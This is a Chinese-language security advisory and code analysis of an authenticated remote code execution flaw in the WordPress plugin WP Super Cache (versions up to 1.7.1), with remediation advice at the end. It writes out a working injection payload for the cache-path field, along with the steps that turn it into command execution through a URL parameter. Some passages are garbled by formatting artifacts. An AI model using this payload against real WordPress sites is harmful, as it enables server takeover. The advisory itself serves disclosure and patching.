0x01 WP Super Cache 介绍
WP Super Cache是WordPress的一个插件,主要用来缓存加速网页数据的。
笔者发现管理后台再向缓存配置文件写入数据时过滤不严谨导致可以植入恶意代码,进而导致远程代码执行。WordPress官方已经在最新版1.7.2中修复了此漏洞。
受影响版本:<= 1.7.1
0x02 漏洞复现
首先登陆管理后台,找到WP Super Cache的设置页面,通常URL为**/wp-admin/options-general.php?page=wpsupercache&tab=settings**
在缓存路径设置一栏中插入恶意代码:’;$_GET[c]
;#
点击更新,恶意代码会跟随缓存配置文件的更新一并写入到配置文件wp-cache-config.php中去。
通过访问当前页面并附上参数c=cmd(cmd表示要执行的命令)即可触发漏洞!
0x03 漏洞分析
漏洞关键代码:
if( isset( $_POST[ 'action' ] ) && $_POST[ 'action' ] == 'scupdates' ) {//在判断各数据不为空情况下写入数据 if( isset( $_POST[ 'wp_cache_location' ] ) && $_POST[ 'wp_cache_location' ] != '' ) { /* * dirname():获取文件(夹)所在的父目录 * trailingslashit():保证目录是以/结尾 */ $dir = realpath( trailingslashit( dirname( $_POST[ 'wp_cache_location' ] ) ) );//先获取原来的缓存路径设置中的缓存位置所在的父目录 if ( $dir == false ) $dir = WP_CONTENT_DIR . '/cache/'; else /* * wpsc_deep_replace():将所有的..替换为\ * basename():获取路径尾部名称 */ $dir = trailingslashit( $dir ) . trailingslashit(wpsc_deep_replace( array( '..', '\\' ), basename( $_POST[ 'wp_cache_location' ] ) ) ); //代码仅仅是修正了目录名,而没有对$_POST[ 'wp_cache_location' ]进行严谨的过滤 //攻击者可以写入恶意数据 $new_cache_path = $dir; } else { $new_cache_path = WP_CONTENT_DIR . '/cache/'; } if ( $new_cache_path != $cache_path ) { if ( file_exists( $new_cache_path ) == false )//重命名目录或文件 rename( $cache_path, $new_cache_path ); $cache_path = $new_cache_path; //更新指定字段的数据 wp_cache_replace_line('^ *\$cache_path', "\$cache_path = '" . $cache_path . "';", $wp_cache_config_file);//更新cache_path字段的数据 }...
**wp_cache_replace_line($old, $new, $my_file)**函数的功能是更新指定的字段的数据,这里指定的字段是cache_path,字段数据是’cache_path =’. c a c h e p a t h . ′ ; , 其 中 的 cache_path .';,其中的 cachepath.′;,其中的cache_path则是来自于$_POST[ ‘wp_cache_location’ ],该数据可控,攻击者可以构造脏数据。
*wp_cache_replace_line(**$old, $new, $my_file***)****函数的实现:
function wp_cache_replace_line( $old, $new, $my_file ) { if ( @is_file( $my_file ) == false ) {//判断配置文件是否存在... return false; }... $found = false; $loaded = false; $c = 0; $lines = array(); while( ! $loaded ) { $lines = file( $my_file );//读入多行数据 if ( ! empty( $lines ) && is_array( $lines ) ) { $loaded = true; } ... } foreach( (array) $lines as $line ) {... } elseif ( preg_match( "/$old/", $line ) ) { //调试输出信息 wp_cache_debug( "wp_cache_replace_line: changing line " . trim( $line ) . " to *$new*" ); //原配置文件中是存在cache_path字段的,所以程序会走到该分支 $found = true; } } $tmp_config_filename = tempnam( $GLOBALS['cache_path'], 'wpsc' );//创建一个唯一的文件,如果目录不存在,就会在系统临时目录中创建 rename( $tmp_config_filename, $tmp_config_filename . ".php" ); $tmp_config_filename .= ".php"; $fd = fopen( $tmp_config_filename, 'w' );//打开文件 ... if ( $found ) { foreach( (array) $lines as $line ) { if ( ! preg_match( "/$old/", $line ) ) {//正则匹配欲修改的字段 fputs( $fd, $line ); } elseif ( $new != '' ) { fputs( $fd, "$new\n" );//更新字段,恶意代码由此被植入! } } } else {... } fclose( $fd );//关闭文件句柄 rename( $tmp_config_filename, $my_file );//配置文件后缀为php... return true;}
程序在调用wp_cache_replace_line($old, $new, m y f i l e ) ∗ ∗ 时 , ∗ ∗ my_file)**时,** myfile)∗∗时,∗∗new是由符号**‘’包裹在内的字符串,而攻击者用相应的符号’进行闭合后,就能使得 c a c h e p a t h ∗ ∗ 可 以 是 任 何 攻 击 者 想 要 的 类 型 数 据 。 攻 击 者 构 造 ∗ ∗ ′ ; ‘ cache_path**可以是任何攻击者想要的类型数据。攻击者构造**';` cachepath∗∗可以是任何攻击者想要的类型数据。攻击者构造∗∗′;‘_GET[c]`;****#**数据,而插件将数据写入配置文件的过程中根本没有检查数据的合法性,最终写入文件的数据:
$cache_path = 'F:\phpstudy_pro\WWW\wordpress\wp-content\cache/';`$_GET[c]`;#/';
通过闭合单引号,恶意代码从字符串中逃逸出来,并从url中接受一个参数c,向参数c传递要执行的命令即可触发远程代码执行!
0x04 漏洞修复方案
*360漏洞云强烈建议您:*
-
进入管理后台,在右侧菜单栏中选择插件。如果插件有新版本会有提示更新,点击更新即可。
-
从官网下载安全版本(>= 1.7.2)
官网地址:https://wordpress.org/plugins/wp-super-cache/
0x05 参考链接
作者:brucy
https://blog.csdn.net/qq_41252520/article/details/115331809
0x06 联系我们
建议您订阅360漏洞云-漏洞情报服务,获取更多漏洞情报详情以及处置建议,让您的企业远离漏洞威胁。
电话:010-52447660
邮箱:loudongyun@360.cn
网址:https://loudongyun.360.cn
转载自https://mp.weixin.qq.com/s/5hu4QiVAi8vLX31SyZ8AxQ